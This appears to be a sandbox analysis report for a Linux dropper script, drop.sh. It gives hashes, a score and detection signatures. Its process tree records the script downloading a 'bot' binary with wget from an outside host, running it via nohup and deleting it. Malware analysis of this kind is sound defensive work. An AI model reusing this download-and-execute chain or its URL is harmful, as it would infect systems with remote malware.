Overview

overview

7

Static

static

1

drop.sh

ubuntu-18.04-amd64

7

drop.sh

debian-9-armhf

7

drop.sh

debian-9-mips

7

drop.sh

debian-9-mipsel

1

Analysis

  • max time kernel
    145s
  • max time network
    146s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20261019-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20261019-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    13/11/2026, 09:18

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    drop.sh
  • Size 1KB
  • Sample261113-k9n8lasz2r
  • SHA256 f009585013cc547ee1acb1329f1996ff257ac7feb197ea296003d66af78d3a76
  • MD5 SHA1 SHA512 TLSH
Score
7/10
defense_evasion

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/drop.sh
    /tmp/drop.sh
    1⤵
      PID:1533
      • /bin/uname
        uname -m
        2⤵
          PID:1534
        • /bin/rm
          rm -f bot
          2⤵
            PID:1535
          • /usr/bin/wget
            wget -q -O bot http://ssh-node.hrtb.wreath.website:8070/binarys/x86_64
            2⤵
            • Writes file to tmp directory
            PID:1536
          • /bin/chmod
            chmod +x bot
            2⤵
            • File and Directory Permissions Modification
            PID:1544
          • /bin/sleep
            sleep 1
            2⤵
              PID:1546
            • /usr/bin/nohup
              nohup ./bot
              2⤵
              • Executes dropped EXE
              PID:1545
            • /tmp/bot
              ./bot
              2⤵
                PID:1545
              • /bin/rm
                rm -f bot
                2⤵
                  PID:1547

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    bot
                    • Path /tmp/bot
                    • Size 62KB
                    • SHA256 a0eb6f8e23a6cce3af69b2d3e91c04681a24c3d780f2cd232eb98789838b4369
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download